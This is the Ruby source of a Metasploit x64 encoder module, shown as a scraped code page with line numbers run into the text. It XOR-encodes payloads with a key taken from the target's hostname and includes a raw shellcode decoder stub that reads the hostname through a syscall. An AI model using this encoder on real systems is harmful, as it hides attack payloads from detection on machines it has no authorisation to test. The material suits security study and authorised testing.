Path: blob/master/modules/encoders/x64/xor_context.rb
19516 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Encoder::Xor67def initialize8super(9'Name' => 'Hostname-based Context Keyed Payload Encoder',10'Description' => 'Context-Keyed Payload Encoder based on hostname and x64 XOR encoder.',11'Author' => [12'sf',13'oso'14],15'Arch' => ARCH_X64,16'License' => MSF_LICENSE,17'Platform' => 'linux',18'Decoder' => {19'KeySize' => 8,20'KeyPack' => 'Q',21'BlockSize' => 822}23)2425register_options([ OptString.new('C_HOSTNAME', [ true, 'Context Hostname.', 'hostname'])])26end2728def obtain_key(_buf, _badchars, state)29# TODO: Currently only first 8 chars are taken as key. We should include the other chars in the key.30state.key = datastore['C_HOSTNAME'][0..8].reverse!.unpack('H*')[0].to_i(16)31end3233def decoder_stub(state)34# calculate the (negative) block count . We should check this against state.badchars.35block_count = [-(((state.buf.length - 1) / state.decoder_key_size) + 1)].pack('V')3637decoder = '' +38# get hostname39"\x6a\x3f\x58" + # push 0x3f; pop rax40"\x48\x8D\x3C\x24" + # lea rdi, [rsp]41"\x0F\x05" + # syscall ; LINUX - sys_uname42"\x48\x8B\x5F\x41" + # movq rbx, [rdi+0x41]; hostname4344# loop45"\x48\x31\xC9" + # xor rcx, rcx46"\x48\x81\xE9" + block_count + # sub ecx, block_count47"\x48\x8D\x05\xEF\xFF\xFF\xFF" + # lea rax, [rip - 0x01]48"\x48\x31\x58\x1d" + # xor [rax+0x1d], rbx49"\x48\x2D\xF8\xFF\xFF\xFF" + # sub rax, -850"\xE2\xF4" # loop 0x1B51return decoder52end53end545556